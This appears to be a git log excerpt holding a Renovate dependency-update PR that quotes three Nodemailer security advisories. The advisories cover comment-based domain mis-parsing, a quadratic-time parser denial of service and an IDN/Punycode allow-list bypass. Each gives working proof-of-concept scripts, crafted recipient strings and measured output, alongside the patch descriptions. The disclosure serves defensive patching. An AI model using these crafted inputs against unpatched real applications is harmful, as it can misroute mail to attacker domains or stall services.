Score: 5.9 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:L/A:N` #### References - [https://github.com/nodemailer/nodemailer/security/advisories/GHSA-8m3c-c648-2xjj](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-8m3c-c648-2xjj) - [https://github.com/nodemailer/nodemailer/commit/ab7ef348b9a97b1fd70e7bfbeb56d4ea4a07946b](https://redirect.github.com/nodemailer/nodemailer/commit/ab7ef348b9a97b1fd70e7bfbeb56d4ea4a07946b) - [https://github.com/nodemailer/nodemailer/commit/dc48ed395c4d6c79ee5c95eb6eff17bafe391474](https://redirect.github.com/nodemailer/nodemailer/commit/dc48ed395c4d6c79ee5c95eb6eff17bafe391474) - [https://github.com/nodemailer/nodemailer/releases/tag/v9.1.1](https://redirect.github.com/nodemailer/nodemailer/releases/tag/v9.1.1) - [https://github.com/advisories/GHSA-8m3c-c648-2xjj](https://redirect.github.com/advisories/GHSA-8m3c-c648-2xjj) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-8m3c-c648-2xjj) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Nodemailer: Recipient-domain validation bypass via RFC 5322 comment mis-parsing leads to email delivery to an attacker-controlled domain [GHSA-cc9r-2j5m-2m83](https://redirect.github.com/advisories/GHSA-cc9r-2j5m-2m83) <details> <summary>More information</summary> #### Details ##### Summary Nodemailer's email-address parser treats an **RFC 5322 comment** `( ... )` inside the domain as a point to **concatenate** the surrounding text, rather than as folding whitespace (CFWS) that **terminates** the domain. Consequently a recipient address such as `user@good-corp.com(x)evil.com` is parsed and **delivered to `good-corp.comevil.com`** (registrable domain `comevil.com`, attacker‑controlled), while a conformant RFC 5322 parser terminates the domain at the comment and reads `good-corp.com`. An application that decides *whether it is allowed to email a recipient* by parsing/validating the recipient's domain — with a strict RFC 5322 parser (used without inspecting parse defects) or with a naive prefix/substring allow‑list — and then hands the raw address to Nodemailer for delivery, can be induced to send mail to a domain the attacker controls. This is an **Interpretation Conflict (CWE‑436)**, the same class as CVE‑2025‑13033, reached through the RFC 5322 *comment* construct (the "Comments" technique in PortSwigger's *Splitting the email atom* research, which produced a Postfix fix). Severity is **Moderate**: exploitation requires the app's domain check to disagree with Nodemailer (see **Impact** for exactly which parsers do and do not). Verified end‑to‑end against a real RFC 5321 SMTP server (nodemailer 9.0.6 → `aiosmtpd`). ##### Details Root cause is in `lib/addressparser/index.js`. 1. The tokenizer registers the comment as an operator pair (`Tokenizer.operators`): ```js '(': ')', // line ~331 ``` 2. When the **closing** `)` is immediately followed by a non‑break character (anything other than space / tab / CR / LF / `,` / `;`), the tokenizer marks that operator token with `noBreak = true`: ```js // Tokenizer.checkChar, lines ~398-399 if (nextChr && ![' ', '\t', '\r', '\n', ',', ';'].includes(nextChr)) { this.node.noBreak = true; } ``` 3. `_handleAddress` then **glues** the token that follows the comment onto the token that preceded it (dropping the comment): ```js // _handleAddress, lines ~187-188 if (prevToken && prevToken.noBreak && data[state].length) { data[state][data[state].length - 1] += token.value; // <-- concatenation } ``` For the input `user@good-corp.com(x)evil.com` the tokens are `text:"user@good-corp.com"`, `op:"("`, `text:"x"`, `op:")"` (flagged `noBreak`), `text:"evil.com"`. Step 3 appends `evil.com` onto `user@good-corp.com`, producing the single domain **`good-corp.comevil.com`**. The comment content (`x`) is discarded into the display‑name field. RFC 5322 defines a comment as CFWS — semantically folding whitespace — and it may **not** appear inside a `dot-atom`. A comment therefore *separates* tokens and terminates the domain; the conformant reading of `good-corp.com(x)evil.com` is the domain `good-corp.com` (with the trailing `evil.com` being invalid/ignored). Nodemailer instead concatenates the two atoms across the removed comment, yielding a different, attacker‑registrable domain. Nodemailer uses the parsed address for **both** the SMTP envelope (`getEnvelope()` → `RCPT TO`) and the emitted `To:`/`From:` headers, so the entire message is routed to the concatenated domain. **Related grammar defect (bonus, lower impact):** nested comments are legal in RFC 5322, but the tokenizer closes the comment at the *first* `)` (`chr === this.operatorExpecting`, line ~392), so a valid nested comment such as `user@x.com(a(b)c)` is mis‑balanced and mangled to `x.comc)`. That particular output contains a stray `)` and is **rejected** by a conformant MTA (501) — a bounce/robustness issue, not a misroute. **Suggested fix:** treat a comment as folding whitespace that terminates the current token — i.e. do **not** propagate `noBreak` across a comment‑closing `)` (restrict the `noBreak` optimization to quoted‑string closes), and support nested comments per RFC 5322. Equivalently, never emit a domain formed by concatenating two atoms that were separated only by a comment. ##### PoC Environment: Node.js ≥ 18 and the published `nodemailer@9.0.6`. No special transport configuration is required; the discrepancy is in address parsing. `poc-comment.js`: ```js 'use strict'; const net = require('net'); const nodemailer = require('nodemailer'); // 9.0.6 const TRUSTED = 'good-corp.com'; const RECIPIENT = 'user@good-corp.com(x)evil.com'; // RFC 5322 comment (x) between two domains // tiny SMTP sink that prints the literal RCPT TO nodemailer transmits const server = net.createServer(sock => { let buf = ''; sock.write('220 sink\r\n'); sock.on('data', d => { buf += d; let i; while ((i = buf.indexOf('\r\n')) >= 0) { const line = buf.slice(0, i); buf = buf.slice(i + 2); const u = line.toUpperCase(); if (u.startsWith('EHLO')) sock.write('250-sink\r\n250 8BITMIME\r\n'); else if (u.startsWith('RCPT')) { console.log('nodemailer transmits :', line); sock.write('250 ok\r\n'); } else if (u.startsWith('DATA')) sock.write('354 go\r\n'); else if (line === '.') sock.write('250 ok\r\n'); else if (u.startsWith('QUIT')) { sock.write('221 bye\r\n'); sock.end(); } else sock.write('250 ok\r\n'); } }); }); server.listen(0, '127.0.0.1', async () => { const t = nodemailer.createTransport({ host: '127.0.0.1', port: server.address().port, secure: false }); await t.sendMail({ from: 'app@good-corp.com', to: RECIPIENT, subject: 'hi', text: 'x' }); t.close(); server.close(); }); ``` Run: ``` npm init -y && npm install nodemailer@9.0.6 node poc-comment.js ``` Actual output (nodemailer 9.0.6): ``` nodemailer transmits : RCPT TO:<user@good-corp.comevil.com> ``` The application asked to mail `user@good-corp.com(x)evil.com`; Nodemailer delivers to `good-corp.comevil.com` — registrable domain `comevil.com`, which an attacker can register. **Verified against a real RFC 5321 server** (containerized lab included with this report — `docker compose up --build`, case `R8_comment_glue`, receiver = `aiosmtpd`): ``` wire RCPT TO : RCPT TO:<user@good-corp.comevil.com> real server : ACCEPTED (250) recipient parsed by real server : user@good-corp.comevil.com (domain good-corp.comevil.com) delivered To header : x <user@good-corp.comevil.com> ``` **Which parser sees what** (the crux of exploitability): | Parser used by the application to gate/route | Domain it reads from `user@good-corp.com(x)evil.com` | Deceived? | |---|---|---| | Python `email.policy.default` (strict RFC 5322) | `good-corp.com` *(flags `InvalidHeaderDefect`)* | Yes, if defects are not checked | | Naive prefix / substring allow‑list (`startsWith`/`includes('@good-corp.com')`) | `good-corp.com` | Yes | | Nodemailer's own `addressparser` | `good-corp.comevil.com` | No | | Python `email.utils.getaddresses` | `good-corp.comevil.com` | No | | WHATWG `url.domainToASCII` | `good-corp.com(x)evil.com` | No | ##### Impact * **Who is impacted:** applications that make a security or routing decision on the recipient **domain** using a parser that terminates the domain at the comment, while relying on Nodemailer for delivery — specifically those that validate with a strict RFC 5322 parser **without inspecting parse defects**, or with a **prefix/substring/allow‑list** check (e.g. "only send to `@good-corp.com`", employee‑only flows, "same‑tenant" routing). Applications that validate with Nodemailer's own `addressparser`, `email.utils.getaddresses`, or `url.domainToASCII` are **not** affected, which is why this is rated below the IDN/Punycode issue. ##### Patched in 9.1.0 Fixed in [902b63e](https://redirect.github.com/nodemailer/nodemailer/commit/902b63e). Not propagating `noBreak` across the closing `)` on its own breaks valid addresses, because CFWS is legal on either side of the `@`: `user@(x)good-corp.com` and `user(x)@good-corp.com` both come out mangled. A comment now joins what it separates only when one side carries the `@`, so those keep resolving while `user@good-corp.com(x)evil.com` terminates at `good-corp.com`. Quoted-string and angle-address joining are unchanged. Nested comments are still not modelled, but the misroute is gone: `user@x.com(a(b)c)` now yields `user@x.com`. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N` #### References - [https://github.com/nodemailer/nodemailer/security/advisories/GHSA-cc9r-2j5m-2m83](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-cc9r-2j5m-2m83) - [https://github.com/nodemailer/nodemailer/pull/1848](https://redirect.github.com/nodemailer/nodemailer/pull/1848) - [https://github.com/nodemailer/nodemailer/commit/902b63e935435c30f4025901c0902dce64cd8880](https://redirect.github.com/nodemailer/nodemailer/commit/902b63e935435c30f4025901c0902dce64cd8880) - [https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0](https://redirect.github.com/nodemailer/nodemailer/releases/tag/v9.1.0) - [https://github.com/advisories/GHSA-cc9r-2j5m-2m83](https://redirect.github.com/advisories/GHSA-cc9r-2j5m-2m83) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-cc9r-2j5m-2m83) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Nodemailer: Quadratic (O(n²)) time complexity in addressparser allows remote denial of service via a crafted address list [GHSA-2x7j-588g-ccc2](https://redirect.github.com/advisories/GHSA-2x7j-588g-ccc2) <details> <summary>More information</summary> #### Details ##### Summary Nodemailer's address parser (`lib/addressparser/index.js`) parses a list of comma‑separated addresses in **quadratic time — O(n²)** in the number of addresses. A single crafted address string (e.g. a `To`, `Cc`, `Bcc`, `From`, or `Reply‑To` value, or any value passed to the exported `addressparser`) therefore consumes CPU proportional to the **square** of its length and blocks Node's single‑threaded event loop for the entire duration, denying service to every other request in the process. This requires **no special application configuration and no cooperating receiver** — it is entirely inside the parser and triggers on the library's default code path. A ~1.5 MB address value freezes the process for ~25–30 seconds of 100% CPU; the cost grows with the square of the input, so a few‑MB value stalls the server for minutes. It is a distinct issue from the recursion DoS fixed as CVE‑2025‑14874 (that path is guarded by a nesting‑depth cap; this one is a flat, comma‑separated list with no such limit). ##### Details `addressparser` tokenizes the input, splits it into per‑address token groups, and then accumulates the parsed results in a loop (`lib/addressparser/index.js`, ~lines 500–505): ```js addresses.forEach(addr => { const handled = _handleAddress(addr, depth); if (handled.length) { parsedAddresses = parsedAddresses.concat(handled); // <-- line ~503 } }); ``` `Array.prototype.concat` builds and returns a **new** array containing a copy of every element accumulated so far. Reassigning `parsedAddresses = parsedAddresses.concat(handled)` on each of the *n* iterations copies 1 + 2 + 3 + … + n elements in total, i.e. **O(n²)** work (and O(n²) transient allocations) for an input containing *n* addresses. Tokenization and `_handleAddress` themselves are linear; the quadratic blowup is entirely this accumulator. **Root‑cause proof.** Replacing only that line with an in‑place append and re‑running the exact same input: ``` parsedAddresses = parsedAddresses.concat(handled); -> 100000 addresses: ~6068 ms parsedAddresses.push.apply(parsedAddresses, handled); -> 100000 addresses: ~51 ms (≈119x faster, now linear) ``` **Measured scaling** (nodemailer 9.0.6, `'a@b.com,'.repeat(n)`): | addresses n | input size | parse time | ratio for 2× input | |---|---|---|---| | 25,000 | 0.19 MB | ~0.35 s | – | | 50,000 | 0.38 MB | ~1.4 s | ×4.0 | | 100,000 | 0.76 MB | ~6–8 s | ×3.9 | | 200,000 | 1.53 MB | ~25–30 s| ×4.1 | Doubling the input quadruples the time — the signature of O(n²). **Reachability.** The parser is invoked on any structured‑address header value on the normal send path (`MimeNode.setHeader('To'/'Cc'/'Bcc'/'From'/'Reply-To', value)` → `_parseAddresses` → `addressparser`, and `getEnvelope()`), so a single `transport.sendMail({ to: <crafted string> })` triggers it. It is also reached directly through the **exported** `require('nodemailer/lib/addressparser')`, which many applications call to validate or display user‑supplied recipient lists. Confirmed via the public API: `setHeader('To', 'a@b.com,'.repeat(80000))` + `getEnvelope()` blocks for ~3.9 s. **Suggested fix:** accumulate in place instead of rebuilding the array each iteration, e.g. `parsedAddresses.push.apply(parsedAddresses, handled);` (or `for (const h of handled) parsedAddresses.push(h);`). Optionally cap the number of addresses / input length before parsing. ##### PoC Environment: Node.js ≥ 18 and the published `nodemailer@9.0.6`. No transport, network, or configuration required — the cost is in parsing. `poc-dos.js`: ```js 'use strict'; const addressparser = require('nodemailer/lib/addressparser'); console.log('addresses | input size | parse time'); for (const n of [25000, 50000, 100000, 200000]) { const payload = 'a@b.com,'.repeat(n); // n valid, comma-separated recipients const t0 = process.hrtime.bigint(); addressparser(payload); // blocks synchronously const ms = Number(process.hrtime.bigint() - t0) / 1e6; console.log(String(n).padStart(9) + ' | ' + (payload.length / 1048576).toFixed(2) + ' MB | ' + ms.toFixed(0).padStart(7) + ' ms'); } ``` Run: ``` npm init -y && npm install nodemailer@9.0.6 node poc-dos.js ``` Actual output (nodemailer 9.0.6): ``` addresses | input size | parse time 25000 | 0.19 MB | 381 ms 50000 | 0.38 MB | 1435 ms 100000 | 0.76 MB | 7949 ms 200000 | 1.53 MB | 25154 ms ``` Equivalent trigger through the normal send API (freezes the event loop): ```js const nodemailer = require('nodemailer'); nodemailer.createTransport({ jsonTransport: true }) .sendMail({ from: 'a@b.com', to: 'a@b.com,'.repeat(150000), subject: 'x', text: 'y' }); // ~15+ seconds of 100% CPU inside addressparser before anything is sent ``` ##### Impact * **Who is impacted:** any service that runs Nodemailer (or the standalone `nodemailer/lib/addressparser`) on an address value that can be influenced by an untrusted party — a recipient field in a "send email / invite / share" feature, a `Reply‑To`/`From` derived from user input, a contact‑import or mailing‑list parser, or any endpoint that validates addresses with `addressparser`. No authentication, special option, or particular receiver is needed. ##### Patched in 9.1.0 Three separate quadratic paths were fixed, not one: * `addressparser` rebuilt its accumulator with `concat()` on every address ([9116da9](https://redirect.github.com/nodemailer/nodemailer/commit/9116da9)). * The display-name merge loop directly below spliced each fragment out of the array, the same shape reached through `'a, b <c@d.com>,'.repeat(n)` (same commit). * `MimeNode#_convertAddresses` checked recipient uniqueness with a linear scan per address ([7cc38af](https://redirect.github.com/nodemailer/nodemailer/commit/7cc38af), refined in [34da642](https://redirect.github.com/nodemailer/nodemailer/commit/34da642)). This was the most severe of the three and the reported proof of concept did not reach it: `'a@b.com,'.repeat(n)` is one address repeated, which dedupes to a single envelope entry. A list of *distinct* recipients cost O(n^2) here, taking ~35s for 100k even after `addressparser` was fixed. Fixed alongside: `[].concat.apply` in `_parseAddresses` threw `RangeError: Maximum call stack size exceeded` past roughly 124k recipients, with no crafted input needed ([83b8c48](https://redirect.github.com/nodemailer/nodemailer/commit/83b8c48)). Parsing 200k addresses now takes ~80ms instead of ~25s, and every path scales linearly. A new `maxRecipients` option (default 100000) throws rather than truncating, as a backstop. #### Severity - CVSS Score: 7.5 / 10 (High) - Vector String: `CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H` #### References - [https://github.com/nodemailer/nodemailer/security/advisories/GHSA-2x7j-588g-ccc2](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-2x7j-588g-ccc2) - [https://github.com/nodemailer/nodemailer/pull/1848](https://redirect.github.com/nodemailer/nodemailer/pull/1848) - [https://github.com/nodemailer/nodemailer/commit/34da64282dcdc9b0581c721a27ab2fa226673150](https://redirect.github.com/nodemailer/nodemailer/commit/34da64282dcdc9b0581c721a27ab2fa226673150) - [https://github.com/nodemailer/nodemailer/commit/7cc38af418ffa6fc7e86085195ca5ca681694b3e](https://redirect.github.com/nodemailer/nodemailer/commit/7cc38af418ffa6fc7e86085195ca5ca681694b3e) - [https://github.com/nodemailer/nodemailer/commit/9116da9528c6524cefaed75185602a7e85d20434](https://redirect.github.com/nodemailer/nodemailer/commit/9116da9528c6524cefaed75185602a7e85d20434) - [https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0](https://redirect.github.com/nodemailer/nodemailer/releases/tag/v9.1.0) - [https://github.com/advisories/GHSA-2x7j-588g-ccc2](https://redirect.github.com/advisories/GHSA-2x7j-588g-ccc2) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-2x7j-588g-ccc2) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Nodemailer: IDN/Punycode domain allow-list bypass leads to email delivery to an attacker-controlled domain [GHSA-wmmp-3585-3rmp](https://redirect.github.com/advisories/GHSA-wmmp-3585-3rmp) <details> <summary>More information</summary> #### Details ##### Summary Nodemailer resolves an international (IDN / non-ASCII) recipient **domain** to a different Punycode `xn--` label than every UTS‑46‑conformant parser (web browsers, the WHATWG URL Standard, Node's `url.domainToASCII`, Python's `idna`). Its address normalizer (`_normalizeAddress` in `lib/mime-node/index.js`) uses the bundled **raw RFC‑3492 Punycode codec with no UTS‑46 mapping/normalization**, so a domain that a standards‑compliant validator maps to a trusted domain is delivered by Nodemailer to a **different, attacker‑registrable domain**. An application that applies a domain allow‑list / same‑domain check to a recipient using a normal IDN‑aware parser (or that shows the normalized recipient to a user for confirmation) and then relies on Nodemailer to deliver to that domain can be induced to send email to an **unintended external domain**. This is the same weakness class as CVE‑2025‑13033 (Interpretation Conflict, CWE‑436) but reached through IDN/Punycode rather than quoted local‑parts, and it is not addressed by the 7.0.7 fix. Because the mismatch can be triggered with an **invisible** character (U+00AD SOFT HYPHEN) that UTS‑46 folds away to the *exact* trusted domain string, no visible look‑alike/homograph is required. ##### Details `lib/mime-node/index.js` → `_normalizeAddress(address)` (around lines 1307–1346) splits the address at the last `@` and normalizes the domain like this: ```js // lib/mime-node/index.js try { if (/[\x80-ï¿¿]/.test(user)) { encodedDomain = punycode.toUnicode(domain.toLowerCase()); // line ~1338 } else { encodedDomain = punycode.toASCII(domain.toLowerCase()); // line ~1340 } } catch (_err) { // keep domain as supplied } return `${this._normalizeLocalPart(user)}@${encodedDomain}`; // line ~1346 ``` `punycode` here is the project’s bundled codec (`lib/punycode/`), which is a **pure RFC 3492 (Punycode) implementation**. The only normalization applied to the domain is `.toLowerCase()`. It performs **none of the UTS‑46 “IDNA2008 + compatibility processing” steps** that browsers and DNS‑facing resolvers apply before Punycode encoding, specifically: * removing **Ignored** code points such as `U+00AD` SOFT HYPHEN, * **Mapping** full‑width / compatibility characters to their canonical ASCII forms, * Unicode **NFC** normalization, * validity checks. As a result, for any domain containing a UTS‑46‑mapped or ‑ignored character, Nodemailer’s `punycode.toASCII(...)` produces a **different A‑label** than `url.domainToASCII(...)` (Node ≥ 7 / WHATWG), `new URL('http://'+domain)`, browsers, and Python’s `idna` (`uts46=True`). Nodemailer then uses its A‑label as: * the SMTP envelope recipient written to the wire as `RCPT TO:<local@xn--…>` (`getEnvelope()` → `lib/smtp-connection/index.js` `_setEnvelope`), **and** * the address emitted in the `To:` / `From:` headers (`_convertAddresses`). So the domain a standards‑compliant validator computes and the domain Nodemailer actually delivers to **disagree**, on a syntactically valid, validator‑accepted address. Concrete divergences (verified on 9.0.6): | recipient (raw) | UTS‑46 parser (`url.domainToASCII`) | Nodemailer delivers to | |---|---|---| | `victim@compa{U+00AD}ny.com` (invisible soft hyphen) | `company.com` | `xn--company-pka.com` | | `victim@company.com` (full‑width) | `company.com` | `xn--mi7cd4afch9d.com` | | `user@exámple.com` (NFD `a`+U+0301) | `xn--exmple-qta.com` | `xn--example-vge.com` | This is the “Punycode / IDN parser discrepancy” technique documented in PortSwigger’s *Splitting the email atom* research (which produced e.g. Joomla CVE‑2024‑21725 and fixes in the PHP `idna_convert` library). The fix for CVE‑2025‑13033 (nodemailer 7.0.7) hardened the *quoted‑local‑part* path only; this IDN path is independent and still present in **9.0.6 (latest)** and, given the long‑standing use of the bundled RFC‑3492 codec, earlier releases. **Suggested remediation:** perform UTS‑46 processing before/at domain encoding so Nodemailer’s resolution matches browsers, validators, and DNS — e.g. use the runtime’s `url.domainToASCII()` (available since Node 7) instead of the raw `punycode.toASCII`, and decode with the matching UTS‑46 `domainToUnicode`. At minimum, reject a domain whose value changes under UTS‑46 mapping (i.e. `punycode.toASCII(d)` ≠ `url.domainToASCII(d)`). ##### PoC Environment: Node.js ≥ 18, the published `nodemailer@9.0.6`. No special configuration; the discrepancy is in domain normalization itself. `poc-idn.js`: ```js 'use strict'; const net = require('net'); const url = require('url'); const nodemailer = require('nodemailer'); // 9.0.6 const TRUSTED = 'company.com'; // the only domain the app will mail const RECIPIENT = 'victim@compa\u00ADny.com'; // attacker input: invisible U+00AD inside "company" // The app's domain allow-list check, done the standard (UTS-46 / browser / WHATWG) way: const seen = url.domainToASCII(RECIPIENT.split('@').pop()); console.log('validator (url.domainToASCII) sees:', JSON.stringify(seen), seen === TRUSTED ? '=> ALLOWED (equals trusted domain)' : ''); // A tiny SMTP sink that prints the literal RCPT TO Nodemailer transmits: const server = net.createServer(sock => { let buf = ''; sock.write('220 sink\r\n'); sock.on('data', d => { buf += d; let i; while ((i = buf.indexOf('\r\n')) >= 0) { const line = buf.slice(0, i); buf = buf.slice(i + 2); const u = line.toUpperCase(); if (u.startsWith('EHLO')) sock.write('250-sink\r\n250 8BITMIME\r\n'); else if (u.startsWith('RCPT')) { console.log('nodemailer transmits :', line); sock.write('250 ok\r\n'); } else if (u.startsWith('DATA')) sock.write('354 go\r\n'); else if (line === '.') sock.write('250 ok\r\n'); else if (u.startsWith('QUIT')) { sock.write('221 bye\r\n'); sock.end(); } else sock.write('250 ok\r\n'); } }); }); server.listen(0, '127.0.0.1', async () => { const t = nodemailer.createTransport({ host: '127.0.0.1', port: server.address().port, secure: false }); await t.sendMail({ from: 'app@company.com', to: RECIPIENT, subject: 'reset your password', text: 'secret link' }); t.close(); server.close(); }); ``` Run: ``` npm init -y && npm install nodemailer@9.0.6 node poc-idn.js ``` Actual output (Nodemailer 9.0.6): ``` validator (url.domainToASCII) sees: "company.com" => ALLOWED (equals trusted domain) nodemailer transmits : RCPT TO:<victim@xn--company-pka.com> ``` The application’s domain check approves `company.com`, but the message is sent to `xn--company-pka.com` — a **different domain an attacker can register** — carrying the `To:` header `<victim@xn--company-pka.com>` as well. A containerized version that proves the same result against a **real RFC 5321 SMTP server** (`aiosmtpd`) is included alongside this report (`docker compose up --build`, cases `R6`/IDN); the receiving server accepts `RCPT TO:<victim@xn--company-pka.com>` and reports the recipient domain as `xn--company-pka.com`. ##### Impact Any application that uses Nodemailer to send mail to a recipient whose domain is subjected to a security or trust decision made with a *different* (UTS‑46‑conformant) parser, and then trusts Nodemailer to deliver to that domain. This includes: * recipient **allow‑list / block‑list / “same corporate domain” checks** implemented with `new URL()`, `url.domainToASCII`, a browser‑side check, or an IDN library; * flows that **display or log the normalized recipient domain** for human confirmation (the shown `company.com` differs from the delivered `xn--company-pka.com`); * any domain‑gated feature (employee‑only registration, “send only to our tenant”, notification routing). ##### Patched in 9.1.0 Domain encoding now applies UTS-46 ([259c32d](https://redirect.github.com/nodemailer/nodemailer/commit/259c32d)), so `victim@company.com` resolves to `company.com`, matching `url.domainToASCII` and browsers. One caveat on the suggested remediation, hardened in [b212ac4](https://redirect.github.com/nodemailer/nodemailer/commit/b212ac4): `url.domainToASCII` is a WHATWG **host parser**, not a pure UTS-46 mapper. It terminates the host at `/`, `\\`, `?` and `#` and percent-decodes. Used unguarded it introduces a worse version of the same weakness, since `user@attacker.example/mail.corp.example` encodes to the deliverable `user@attacker.example` where the bundled Punycode codec left it intact and unroutable. Those characters are now kept away from the mapper. On severity, "attacker-registrable" is doing significant work in the report: `xn--company-pka.com` decodes to a label containing U+00AD and `xn--mi7cd4afch9d.com` to full-width Latin, neither of which Verisign's IDN tables permit for a .com registration. The misdelivery and the confirmation-UI mismatch stand regardless, which is why this is rated level with the comment issue rather than above it. #### Severity - CVSS Score: 6.5 / 10 (Medium) - Vector String: `CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:L/A:N` #### References - [https://github.com/nodemailer/nodemailer/security/advisories/GHSA-wmmp-3585-3rmp](https://redirect.github.com/nodemailer/nodemailer/security/advisories/GHSA-wmmp-3585-3rmp) - [https://github.com/nodemailer/nodemailer/pull/1848](https://redirect.github.com/nodemailer/nodemailer/pull/1848) - [https://github.com/nodemailer/nodemailer/commit/259c32d7d266301e3377a212776c3fff993c0148](https://redirect.github.com/nodemailer/nodemailer/commit/259c32d7d266301e3377a212776c3fff993c0148) - [https://github.com/nodemailer/nodemailer/commit/b212ac4e27bce8182478044fcb8d1642ccdad46e](https://redirect.github.com/nodemailer/nodemailer/commit/b212ac4e27bce8182478044fcb8d1642ccdad46e) - [https://github.com/nodemailer/nodemailer/releases/tag/v9.1.0](https://redirect.github.com/nodemailer/nodemailer/releases/tag/v9.1.0) - [https://github.com/advisories/GHSA-wmmp-3585-3rmp](https://redirect.github.com/advisories/GHSA-wmmp-3585-3rmp) This data is provided by the [GitHub Advisory Database](https://redirect.github.com/advisories/GHSA-wmmp-3585-3rmp) ([CC-BY 4.0](https://redirect.github.com/github/advisory-database/blob/main/LICENSE.md)). </details> --- ### Release Notes <details> <summary>nodemailer/nodemailer (nodemailer)</summary> ### [`v9.1.1`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#911-2026-09-01) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v9.1.0...v9.1.1) ##### Bug Fixes - **mailer:** apply the message access policy in resolveContent ([dc48ed3](https://redirect.github.com/nodemailer/nodemailer/commit/dc48ed395c4d6c79ee5c95eb6eff17bafe391474)) - **mailer:** keep message data from reopening the access sandbox ([ab7ef34](https://redirect.github.com/nodemailer/nodemailer/commit/ab7ef348b9a97b1fd70e7bfbeb56d4ea4a07946b)) - **mime-node:** inherit the access policy from the tree a node hangs in ([262d550](https://redirect.github.com/nodemailer/nodemailer/commit/262d550b1e121e3ff4ef6675d6771a5b2b4ddcec)) ### [`v9.1.0`](https://redirect.github.com/nodemailer/nodemailer/blob/HEAD/CHANGELOG.md#910-2026-08-31) [Compare Source](https://redirect.github.com/nodemailer/nodemailer/compare/v9.0.6...v9.1.0) ##### Features - **mailer:** cap recipients per message with maxRecipients ([7279ac8](https://redirect.github.com/nodemailer/nodemailer/commit/7279ac8dee4f66c032981e6e51e3e7210ad0dcbf)) ##### Bug Fixes - **addressparser:** handle address lists in linear time ([9116da9](https://redirect.github.com/nodemailer/nodemailer/commit/9116da9528c6524cefaed75185602a7e85d20434)) - **addressparser:** terminate the domain at an RFC 5322 comment ([902b63e](https://redirect.github.com/nodemailer/nodemailer/commit/902b63e935435c30f4025901c0902dce64cd8880)) - **mime-node:** apply UTS-46 mapping when encoding a domain ([259c32d](https://redirect.github.com/nodemailer/nodemailer/commit/259c32d7d266301e3377a212776c3fff993c0148)) - **mime-node:** dedupe envelope recipients in linear time ([7cc38af](https://redirect.github.com/nodemailer/nodemailer/commit/7cc38af418ffa6fc7e86085195ca5ca681694b3e)) - **mime-node:** flatten parsed addresses without concat.apply ([83b8c48](https://redirect.github.com/nodemailer/nodemailer/commit/83b8c48cbdb8b3116f2e1ba84af755b2c5661c0f)) - **mime-node:** keep the recipient dedupe linear across address headers ([34da642](https://redirect.github.com/nodemailer/nodemailer/commit/34da64282dcdc9b0581c721a27ab2fa226673150)) - **mime-node:** keep URL delimiters away from the domain mapper ([b212ac4](https://redirect.github.com/nodemailer/nodemailer/commit/b212ac4e27bce8182478044fcb8d1642ccdad46e)) </details> --- ### Configuration 📅 **Schedule**: (in timezone Europe/Madrid) - Branch creation - At any time (no schedule defined) - Automerge - At any time (no schedule defined) 🚦 **Automerge**: Enabled. ♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox. 🔕 **Ignore**: Close this PR and you won't be reminded about this update again. --- - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box --- This PR was generated by [Mend Renovate](https://mend.io/renovate/). View the [repository job log](https://developer.mend.io/github/Unleash/unleash). <!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0NC42OS4xIiwidXBkYXRlZEluVmVyIjoiNDQuNjkuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19--> Co-authored-by: renovate[bot] <29139614+renovate[bot]@users.noreply.github.com> |
||
|
|
7c96b43fad | chore(oss): sync Unleash/unleash main | ||
|
|
ebac51753c |
chore(deps): update dependency fast-check to v4.9.0 (#12627)
This PR contains the following updates: | Package | Change | [Age](https://docs.renovatebot.com/merge-confidence/) | [Confidence](https://docs.renovatebot.com/merge-confidence/) | |---|---|---|---| | [fast-check](https://fast-check.dev/) ([source](https://redirect.github.com/dubzzz/fast-check/tree/HEAD/packages/fast-check)) | [`4.8.0` → `4.9.0`](https://renovatebot.com/diffs/npm/fast-check/4.8.0/4.9.0) |  |  | --- ### Release Notes <details> <summary>dubzzz/fast-check (fast-check)</summary> ### [`v4.9.0`](https://redirect.github.com/dubzzz/fast-check/blob/HEAD/packages/fast-check/CHANGELOG.md#490) [Compare Source](https://redirect.github.com/dubzzz/fast-check/compare/v4.8.0...v4.9.0) *Shrinkable `entityGraph` and few performance chips* \[[Code](https://redirect.github.com/dubzzz/fast-check/tree/v4.9.0)]\[[Diff](https://redirect.github.com/dubzzz/fast-check/compare/v4.8.0...v4.9.0)] #### Features - ([PR#7008](https://redirect.github.com/dubzzz/fast-check/pull/7008)) Towards shrinkable `entityGraph` thanks to `chainUntil` #### Fixes - ([PR#7010](https://redirect.github.com/dubzzz/fast-check/pull/7010)) Bug: Fix latent state-sharing bug in entityGraph - ([PR#7063](https://redirect.github.com/dubzzz/fast-check/pull/7063)) Bug: Equiprobable alternatives in `stringMatching` - ([PR#6973](https://redirect.github.com/dubzzz/fast-check/pull/6973)) CI: Drop caches on push for build package flow - ([PR#6971](https://redirect.github.com/dubzzz/fast-check/pull/6971)) CI: Only mark fast-check's releases as latest - 